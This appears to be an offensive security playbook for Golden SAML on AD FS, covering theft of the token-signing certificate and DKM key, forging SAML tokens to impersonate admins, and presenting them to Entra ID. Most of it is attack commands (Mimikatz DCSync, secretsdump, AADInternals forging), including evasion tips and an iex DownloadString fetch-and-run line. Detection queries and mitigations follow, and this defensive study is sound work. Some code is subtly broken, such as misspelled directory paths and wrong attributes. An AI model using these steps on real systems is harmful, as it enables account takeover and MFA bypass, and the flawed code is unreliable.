| Attribute | Details |
|---|---|
| Technique ID | CA-FORGE-002 |
| MITRE ATT&CK v18.1 | T1606.002 - Forge Web Credentials: SAML Tokens |
| Tactic | Credential Access |
| Platforms | Hybrid AD (Active Directory + AD FS), Entra ID (federated tenants) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | AD FS 2012 R2, 2016, 2019, 2022; all Entra ID versions |
| Patched In | No patch available; certificate rotation required |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 3 (Technical Prerequisites), 6 (Atomic Red Team), and 11 (Sysmon Detection) not included because: (1) Prerequisite steps covered in detail in execution methods, (2) No official Atomic test exists for ADFS token forging, (3) Sysmon detection covered via Windows Event Logs (4769, 1200, 1202). All remaining sections have been renumbered sequentially.
Concept: ADFS token forging, commonly known as “Golden SAML,” is an attack where an adversary with access to the ADFS token-signing certificate (and its private key) creates forged SAML tokens that impersonate any user in a federated environment. Because the tokens are cryptographically signed with the legitimate ADFS certificate, they are indistinguishable from legitimate tokens issued by the ADFS server. This allows the attacker to authenticate to any application (M365, SharePoint, on-premises Kerberos applications) that trusts the ADFS federation without knowing the target user’s password, without triggering MFA, and without generating normal authentication event logs. Golden SAML is the federation equivalent of Golden Ticket (Kerberos attack).
Attack Surface: ADFS token-signing certificate stored in ADFS configuration database (encrypted with DKM key stored in Active Directory), ADFS service account privileges, Distributed Key Management (DKM) container in AD, replication rights (DCSync), ADFS server filesystem.
Business Impact: Complete identity impersonation and MFA bypass across entire federated ecosystem. An attacker holding the ADFS certificate can impersonate the CEO, Global Admin, or any user indefinitely. They can access M365 services (Exchange, SharePoint, Teams), on-premises resources (via Kerberos), and third-party federated SaaS applications without detection. The attack is particularly dangerous because forged tokens leave no logs in ADFS itself and appear as legitimate authentication to all relying parties.
Technical Context: The attack requires stealing the ADFS token-signing certificate. Methods include: (1) Direct export from ADFS server (with ADFS service account or admin privileges), (2) Remote extraction via DCSync (with domain replication rights), (3) Database query via named pipes. Once stolen, the certificate is decrypted using the DKM key from Active Directory. Modern ADFS (2016+) uses Key Derivation Function (KDF) to encrypt the certificate, making brute-force decryption impractical.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark (AD) | 4.1.1, 4.2.1 | ADFS server hardening, audit policies |
| NIST 800-53 | AC-2, AC-3, AU-12 | Account Management, Access Enforcement, Audit Generation |
| GDPR | Art. 32, 33 | Security of Processing, Breach Notification (72-hour requirement) |
| DORA | Art. 9, 18 | Third-Party Dependencies, Incident Management |
| NIS2 | Art. 21 | Cyber Risk Management (Critical Infrastructure) |
| ISO 27001 | A.9.2.1, A.10.1.1 | Access Management, Incident Response |
| ISO 27005 | Section 12.6 | Risk Assessment for Federated Services |
Required Access (Choose One):
Supported Versions:
Environmental Prerequisites:
Objective: Identify ADFS servers and token-signing certificate details.
Command (On-Premises, Domain-Joined Machine):
# Check if ADFS is installed on local machine
Get-WindowsFeature ADFS-Federation | Select-Object Name, Installed
# List all ADFS servers in forest
Get-ADComputer -Filter "OperatingSystem -like '*ADFS*'" | Select-Object Name, OperatingSystem
# Query ADFS farm configuration (requires ADFS server access)
$adfsConfig = (Get-PSSession -Name "ADFS" -ErrorAction SilentlyContinue)
if ($null -eq $adfsConfig) {
$adfsServer = "adfs1.company.com" # Replace with actual ADFS server
$session = New-PSSession -ComputerName $adfsServer -Credential $creds
}
Invoke-Command -Session $session -ScriptBlock {
# Get ADFS certificate details
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Certificate, Thumbprint, IsPrimary
# Check certificate expiration
Get-AdfsCertificate -CertificateType Token-Signing | ForEach-Object {
$cert = $_.Certificate
Write-Host "Certificate: $($cert.Subject)"
Write-Host " Thumbprint: $($cert.Thumbprint)"
Write-Host " Expires: $($cert.NotAfter)"
Write-Host " Days to Expiration: $(($cert.NotAfter - (Get-Date)).Days)"
}
}
What to Look For:
Objective: Verify if the DKM key is properly protected.
Command:
# Locate DKM container in Active Directory
$forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$rootDSE = New-Object System.DirectoryServices.DirectoryEntry "LDAP://RootDSE"
$configNC = $rootDSE.configurationNamingContext
$dkmPath = "LDAP://CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,$configNC"
# Get ACL for DKM container
$dkmEntry = New-Object System.DirectoryServices.DirectoryEntry $dkmPath
$acl = $dkmEntry.psBase.ObjectSecurity
$acl.Access | Select-Object IdentityReference, AccessControlType, ActiveDirectoryRights
What to Look For:
Objective: Identify ADFS service account and assess its privileges.
Command:
# Get ADFS service account
$adfsService = Get-Service ADFSSRV -Computer $adfsServer -ErrorAction SilentlyContinue
$serviceAccount = (Get-WmiObject Win32_Service -ComputerName $adfsServer -Filter "Name='ADFSSRV'").StartName
Write-Host "ADFS Service Account: $serviceAccount"
# Check if service account has high privileges
$sidOfServiceAccount = (New-Object System.Security.Principal.NTAccount($serviceAccount)).Translate([System.Security.Principal.SecurityIdentifier]).Value
Get-ADUser -Filter "SID eq '$sidOfServiceAccount'" -Properties MemberOf | Select-Object Name, MemberOf
What to Look For:
Supported Versions: AD FS 2016-2022
Objective: Compromise ADFS server via lateral movement or direct exploitation.
Command (Lateral Movement via WinRM):
# Assuming attacker has domain user credentials
$adfsServer = "adfs1.company.com"
$credentials = Get-Credential
# Establish PSSession to ADFS server
$session = New-PSSession -ComputerName $adfsServer -Credential $credentials
# Verify session is established
Get-PSSession
OpSec & Evasion:
Troubleshooting:
Enable-PSRemoting -Force (requires local admin)Objective: Export the ADFS token-signing certificate and private key.
Command (Via ADFS PowerShell - Requires ADFS Admin Rights):
# Export certificate via ADFS PowerShell commands
Invoke-Command -Session $session -ScriptBlock {
# Export ADFS token-signing certificate
Get-AdfsCertificate -CertificateType Token-Signing | Where-Object { $_.IsPrimary } | Export-Certificate -FilePath "C:\temp\adfs-cert.cer" -NoClobber
# Export certificate with private key (requires ADFS Service Account context)
# Note: This requires running as ADFS service account
}
# Copy certificate to attacker machine
Copy-Item -FromSession $session -Path "C:\temp\adfs-cert.cer" -Destination "C:\adfs-cert.cer"
Command (Via WMI Query - Requires DB Access):
# Query ADFS database directly for encrypted certificate
$adfsDbPath = "C:\Windows\WID\Data\master.mdf" # Default ADFS database location
# Access via remote SQL Server if ADFS uses SQL (instead of WID)
$sqlServer = "sql.company.com"
$query = "SELECT EncryptedPfx FROM IdentityServerPolicy.dbo.ServerSettings WHERE Name='Token-Signing'"
$connection = New-Object System.Data.SqlClient.SqlConnection("Server=$sqlServer;Database=AdfsConfiguration;Integrated Security=true")
$connection.Open()
$cmd = $connection.CreateCommand()
$cmd.CommandText = $query
$reader = $cmd.ExecuteReader()
while ($reader.Read()) {
$encryptedCert = $reader["EncryptedPfx"]
Write-Host "Encrypted certificate: $encryptedCert"
}
Expected Output:
A certificate file has been created at C:\temp\adfs-cert.cer
File size: 1247 bytes
What This Means:
Objective: Retrieve the Distributed Key Management key from Active Directory.
Command (Via LDAP Query - Requires Domain User Rights):
# Query DKM container in Active Directory
$configNC = (Get-ADRootDSE).configurationNamingContext
$dkmPath = "CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,$configNC"
# Get DKM key attributes
Get-ADObject -Identity $dkmPath -Properties * | Select-Object -ExpandProperty dksAttributes | Format-List
# Alternative: Use AADInternals for easier extraction
$dkm = Get-AADIntADFSDecryptionKey
Write-Host "DKM Key retrieved: $dkm"
Command (Via DCSync - Requires Replication Rights):
# If attacker has DCSync rights, extract DKM key via replication
# Using Mimikatz (requires local admin on compromised machine)
mimikatz.exe "lsadump::dcsync /domain:company.com /user:CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,CN=Configuration,DC=company,DC=com" exit
# Or using Impacket (Linux/Python)
python3 secretsdump.py -hashes lmhash:nthash company.com/admin@adfs.company.com -dc-ip 192.168.1.100
Expected Output:
DKM Key: 0x4D5A9052... (lengthy hex string)
OpSec & Evasion:
Objective: Decrypt the extracted ADFS certificate using the DKM key.
Command (Using AADInternals):
# Import AADInternals module
Import-Module AADInternals -Force
# Decrypt ADFS certificate
$encryptedCert = (Get-ADObject -Identity "CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,$configNC" -Properties *).ms-DS-KeyVersionNumber
# Convert encrypted blob to certificate
$decryptedCert = Get-AADIntADFSDecryptionCertificate -EncryptedCertBlob $encryptedCert -DKMKey $dkm
# Export decrypted certificate to file
$decryptedCert | Export-Certificate -FilePath "C:\adfs-cert.pfx" -Force
Write-Host "[+] Certificate decrypted and exported to C:\adfs-cert.pfx"
Command (Using .NET Reflection):
# Advanced method: Manually decrypt using .NET CryptoAPI
# This is complex and requires deep ADFS knowledge; recommend using AADInternals instead
# Load ADFS assemblies
[Reflection.Assembly]::Load('Microsoft.IdentityServer.ServiceHost')
[Reflection.Assembly]::Load('System.Security')
# Get crypto provider and decrypt
$cryptoProvider = New-Object 'Microsoft.IdentityServer.Service.SecurityTokenService.CryptoUtil'
$decryptedBytes = $cryptoProvider.DecryptData($encryptedCertBlob)
# Convert to X509Certificate2
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($decryptedBytes)
$cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) | Set-Content "C:\adfs-cert.pfx" -Encoding Byte
Troubleshooting:
References & Proofs:
Supported Versions: All AD FS versions, all Entra ID versions
Objective: Collect necessary user attributes for forging a valid SAML token.
Command (Query Entra ID for Target User):
# Connect to Entra ID
Connect-MgGraph -Scopes "User.Read.All"
# Get target user's immutableId (required for SAML token)
$targetUser = Get-MgUser -Filter "userPrincipalName eq 'admin@company.com'"
$immutableId = $targetUser.onPremisesImmutableId
Write-Host "User: $($targetUser.displayName)"
Write-Host "ImmutableId: $immutableId"
Write-Host "UserPrincipalName: $($targetUser.userPrincipalName)"
# Also note the ADFS Issuer URI
$issuerUri = "https://adfs.company.com/adfs/services/trust" # Standard ADFS endpoint
Command (Query On-Premises AD):
# Get target user's attributes from on-premises AD
$targetUser = Get-ADUser -Filter "samAccountName -eq 'admin'" -Properties objectGUID, userPrincipalName
$immutableId = [System.Convert]::ToBase64String($targetUser.ObjectGUID.ToByteArray())
Write-Host "User: $($targetUser.Name)"
Write-Host "SamAccountName: $($targetUser.SamAccountName)"
Write-Host "ImmutableId: $immutableId"
Write-Host "UPN: $($targetUser.UserPrincipalName)"
What to Look For:
Objective: Build a cryptographically signed SAML 2.0 assertion.
Command (Using AADInternals):
# Load certificate with private key
$cert = Get-PfxCertificate -FilePath "C:\adfs-cert.pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
# Create forged SAML token
$samlToken = New-AADIntSAMLToken -Certificate $cert `
-Issuer "https://adfs.company.com/adfs/services/trust" `
-Subject "admin@company.com" `
-ImmutableId $immutableId `
-NotAfter (Get-Date).AddHours(1)
Write-Host "[+] Forged SAML token created"
Write-Host "Token (first 50 chars): $($samlToken.Substring(0, 50))..."
Command (Manual SAML 2.0 Construction):
# Build SAML assertion manually (for educational purposes)
# Standard SAML 2.0 assertion format with AD FS claims
$samlTemplate = @"
<samlp:AuthnResponse xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_$(New-Guid)" Version="2.0" IssueInstant="$(Get-Date -AsUTC -Format 'yyyy-MM-ddTHH:mm:ssZ')">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">https://adfs.company.com/adfs/services/trust</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_$(New-Guid)" Version="2.0" IssueInstant="$(Get-Date -AsUTC -Format 'yyyy-MM-ddTHH:mm:ssZ')">
<Subject>
<NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@company.com</NameID>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData NotOnOrAfter="$((Get-Date).AddHours(1).ToString('yyyy-MM-ddTHH:mm:ssZ'))"/>
</SubjectConfirmation>
</Subject>
<Conditions NotBefore="$(Get-Date -AsUTC -Format 'yyyy-MM-ddTHH:mm:ssZ')" NotOnOrAfter="$((Get-Date).AddHours(1).ToString('yyyy-MM-ddTHH:mm:ssZ'))">
<AudienceRestriction>
<Audience>urn:federation:MicrosoftOnline</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="ImmutableID">
<AttributeValue>$immutableId</AttributeValue>
</Attribute>
<Attribute Name="UPN">
<AttributeValue>admin@company.com</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</samlp:AuthnResponse>
"@
# Sign SAML assertion with certificate (requires XML digital signature implementation)
# This is complex; recommend using AADInternals instead
OpSec & Evasion:
NotOnOrAfter to 1 year (instead of 1 hour) for persistent accessObjective: Present the forged SAML token to Entra ID or application to gain access.
Command (Authenticate to Entra ID / M365):
# Method 1: Use forged token directly with Python/Requests
$tokenFile = "C:\saml-token.xml"
$token | Out-File $tokenFile
# Use curl or Invoke-WebRequest to POST token
Invoke-WebRequest -Uri "https://login.microsoftonline.com/company.onmicrosoft.com/saml2" `
-Method POST `
-Body @{ SAMLResponse = $samlToken } `
-Headers @{ "Content-Type" = "application/x-www-form-urlencoded" }
# Method 2: Use token with Azure CLI or Python SDK
# Store token in environment and authenticate
$env:SAML_TOKEN = $samlToken
python3 -c "
import os
from azure.identity import ClientAssertionCredential
token = os.environ['SAML_TOKEN']
# Use token to obtain access token...
"
Expected Output:
StatusCode : 302
StatusDescription : Found
Location : https://company.sharepoint.com/
# Redirect indicates successful SAML authentication
Troubleshooting:
References & Proofs:
Version: Latest (GitHub) Installation:
iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Gerenios/AADInternals/master/DownloadAADInternals.ps1")
Import-Module AADInternals
Usage:
Get-AADIntADFSDecryptionKey
Get-AADIntADFSDecryptionCertificate
New-AADIntSAMLToken
Reference: AADInternals GitHub
Version: Latest Installation: Clone from GitHub
git clone https://github.com/fireeye/ADFSDump.git
cd ADFSDump
python3 ADFSDump.py
Usage: Extracts ADFS configuration and certificate
Version: Latest Installation:
pip install impacket
Usage:
python3 -m impacket.examples.secretsdump -hashes lmhash:nthash domain/user@target -dc-ip 192.168.1.100
Rule Configuration:
AuditLogs, SecurityEventResourceIdentity, ResultType, EventIDKQL Query:
let timeWindow = 10m;
let lookbackWindow = 24h;
// Find successful SAML-based authentication attempts
AuditLogs
| where TimeGenerated > ago(timeWindow)
| where OperationName =~ "Sign-in activity"
| where ResultType == 0 // Successful
| where AuthenticationRequirement == "singleFactorAuthentication" // No MFA
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, ClientAppUsed, AuthenticationMethod
| where AuthenticationMethod contains "SAML" or AuthenticationMethod contains "WS-Fed"
| join kind=leftanti (
// Look for preceding Kerberos authentication (TGT request) - Event ID 4768
SecurityEvent
| where TimeGenerated > ago(lookbackWindow)
| where EventID == 4768 // Kerberos AS-REQ
| where Status == 0 // Success
| project Account, TimeGenerated, Computer
) on $left.UserPrincipalName == $right.Account
| extend AlertReason = "SAML authentication without preceding Kerberos event - possible Golden SAML attack"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, AuthenticationMethod, AlertReason
Manual Configuration Steps (Azure Portal):
SAML Auth Without Kerberos EventCritical10 minutes24 hoursFalse Positive Analysis:
| where AppDisplayName !in ("Salesforce", "Workday")Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName =~ "Sign-in activity"
| where ResultType == 0
| extend TokenIssuer = tostring(parse_json(AdditionalDetails).TokenIssuer)
| extend TokenLifetime = tostring(parse_json(AdditionalDetails).TokenLifetime)
| where TokenIssuer contains "adfs"
| where toint(TokenLifetime) > 3600 // Token lifetime > 1 hour
| project TimeGenerated, UserPrincipalName, AppDisplayName, TokenLifetime, IPAddress
| extend AlertReason = "ADFS token with abnormally long lifetime - possible forgery"
# Search for suspicious SAML authentication patterns
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Sign-in activity" `
-ResultSize 10000 | `
Where-Object {
$auditData = $_.AuditData | ConvertFrom-Json
$auditData.TokenIssuer -contains "adfs" -and `
$auditData.AuthenticationMethod -contains "SAML"
} | `
Select-Object UserIds, AuditData | Export-Csv -Path "C:\SAMLActivity.csv" -NoTypeInformation
# Search for ADFS DKM key queries (DCSync activity)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Directory Search" `
-ResultSize 10000 | `
Where-Object {
$_.AuditData -contains "DKM" -or $_.AuditData -contains "EncryptedPfx"
} | Select-Object UserIds, Operations, AuditData
Manual Steps (Purview Portal):
Manual Configuration (Group Policy):
gpupdate /forceAlert Name: Suspicious SAML Token Issuance from ADFS
# Enable advanced hunting for SAML anomalies
Add-MgSecurityAlert -Type "SuspiciousADFSActivity"
# Query for ADFS-related threats
Get-MgSecurityAlert | Where-Object { $_.Title -like "*ADFS*" -or $_.Title -like "*SAML*" }
Rotate Token-Signing Certificate Twice in Rapid Succession: If Golden SAML compromise is suspected, rotate the certificate immediately. The MITRE ATT&CK mitigation requires TWO rotations because the old certificate may be retained for backward compatibility.
Manual Steps (ADFS Server):
Manual Steps (PowerShell):
$adfsServer = "adfs1.company.com"
$session = New-PSSession -ComputerName $adfsServer -Credential $creds
Invoke-Command -Session $session -ScriptBlock {
# First rotation
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint "<new_cert_thumbprint>"
# Wait 30 minutes
Start-Sleep -Seconds 1800
# Second rotation (mandatory for Golden SAML mitigation)
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint "<newer_cert_thumbprint>"
Write-Host "[+] Token-signing certificate rotated twice"
Write-Host "[+] Previous tokens using old certificate are now invalid"
}
Verification:
Invoke-Command -Session $session -ScriptBlock {
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, IsPrimary
}
Restrict Access to ADFS DKM Container: Limit who can read the DKM key; this prevents remote certificate extraction.
Manual Steps (Active Directory):
Manual Steps (PowerShell):
$dkmPath = "CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,CN=Configuration,DC=company,DC=com"
$dkmEntry = Get-ADObject -Identity $dkmPath
$acl = Get-Acl -Path "AD:\$dkmPath"
# Remove "Replicate Directory Changes" from all but Domain Admins
foreach ($ace in $acl.Access) {
if ($ace.IdentityReference -notmatch "Domain Admins" -and $ace.ActiveDirectoryRights -match "GenericRead|ReadProperty") {
$acl.RemoveAccessRule($ace)
}
}
Set-Acl -Path "AD:\$dkmPath" -AclObject $acl
Implement ADFS Server Hardening: Restrict physical access, reduce admin privileges, and isolate ADFS servers on separate VLAN.
Manual Steps:
Monitor ADFS Event Logs: Enable audit logging on ADFS to detect token forgery attempts.
Manual Steps:
Manual Steps (PowerShell):
Invoke-Command -Session $session -ScriptBlock {
wevtutil.exe set-log "AD FS" /enabled:true /retention:false /maxsize:4294967296
# Enable audit for application-generated events
auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
}
Use Short-Lived Certificates: Rotate ADFS token-signing certificates every 30 days (instead of annual rotation).
Benefit: Reduces the window of exposure if certificate is compromised Impact: Higher operational overhead but significantly improves security
Enable Multi-Factor Authentication: Require MFA for ADFS users, especially privileged accounts.
Manual Steps:
RBAC: Minimize accounts with ADFS administration privileges; use Privileged Identity Management (PIM) for just-in-time access
ABAC: Restrict ADFS server access based on device compliance (require Windows Defender, Firewall enabled)
Conditional Access: Require compliant devices for ADFS administrators
Manual Steps (Entra ID):
ADFS Admin - Compliant Devices Only# Verify certificate rotations have occurred
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, IsPrimary
# Verify DKM container ACL is restricted
Get-Acl -Path "AD:\CN=ADFS,CN=Microsoft,CN=Program Files,CN=CommonFileRepitory,CN=Configuration,DC=company,DC=com" | Select-Object Access
# Verify ADFS audit logging is enabled
Get-EventLog -LogName "AD FS" -Newest 10 -ErrorAction SilentlyContinue | Select-Object TimeGenerated, Message
# Verify no users have DCSync rights except Domain Admins
Get-ADObject -SearchBase "CN=Configuration,DC=company,DC=com" -Filter * | ForEach-Object {
$acl = Get-Acl -Path "AD:\$($_.DistinguishedName)"
$acl.Access | Where-Object { $_.IdentityReference -notmatch "Domain Admins" -and $_.ActiveDirectoryRights -match "GenericAll" }
}
Expected Output (If Secure):
Thumbprint: 2023-01-15 (current)
Thumbprint: 2023-01-08 (previous)
IsPrimary: True (for newest cert)
(No non-admin DCSync rights found)
Immediate Isolation: Rotate ADFS token-signing certificate twice in succession (see Mitigations)
# First rotation
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint "<new_cert_thumbprint>"
# Wait 30 minutes, then second rotation
Start-Sleep -Seconds 1800
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint "<newer_cert_thumbprint>"
Collect Evidence: Export ADFS audit logs and security event logs
# Export ADFS logs
wevtutil.exe export-log "AD FS" C:\Evidence\ADFS.evtx /overwrite:true
# Export Security logs for last 7 days
Get-EventLog -LogName Security -After (Get-Date).AddDays(-7) | Export-Csv -Path C:\Evidence\Security.csv
Investigate Token Usage: Query Entra ID for SAML-based sign-ins during suspected compromise period
# Find all SAML-based sign-ins
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Sign-in activity" `
-ResultSize 10000 | Where-Object { $_.AuditData -contains "SAML" } | `
Select-Object UserIds, AuditData | Export-Csv -Path C:\Evidence\SAMLSignins.csv
Audit ADFS Server for Unauthorized Access: Check for unusual service accounts or scheduled tasks that accessed the ADFS database
# Check for suspicious scheduled tasks
Get-ScheduledTask -TaskPath "\*" | Where-Object { $_.Principal.UserId -eq "ADFS-Service-Account" }
# Check recent WinRM logons
Get-EventLog -LogName "Windows PowerShell" -After (Get-Date).AddDays(-7) | Select-Object TimeGenerated, Message
Revoke Compromised Identities: If attacker impersonated specific users, revoke their sessions and reset passwords
# Force sign-out of all sessions for compromised users
Revoke-MgUserSignInSession -UserId "victim@company.com"
# Reset password for compromised account
$newPassword = -join ((33..126) | Get-Random -Count 32 | % {[char]$_})
Update-MgUser -UserId "victim@company.com" -PasswordProfile @{ ForceChangePasswordNextSignIn = $true }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-002] BDC Deserialization Vulnerability | Attacker gains access to on-premises infrastructure |
| 2 | Privilege Escalation | [PE-VALID-006] DSRM Backdoor | Escalate to Domain Admin to obtain DCSync rights |
| 3 | Credential Access | [CA-FORGE-002] | Steal ADFS certificate and forge SAML tokens |
| 4 | Lateral Movement | [PE-ACCTMGMT-014] Global Administrator Backdoor | Escalate to Entra ID Global Admin via forged token |
| 5 | Impact | [COLLECT-EMAIL-001] Email Collection via EWS | Exfiltrate sensitive data as impersonated global admin |
Data Sources Required:
Retention Policy:
Incident Reporting: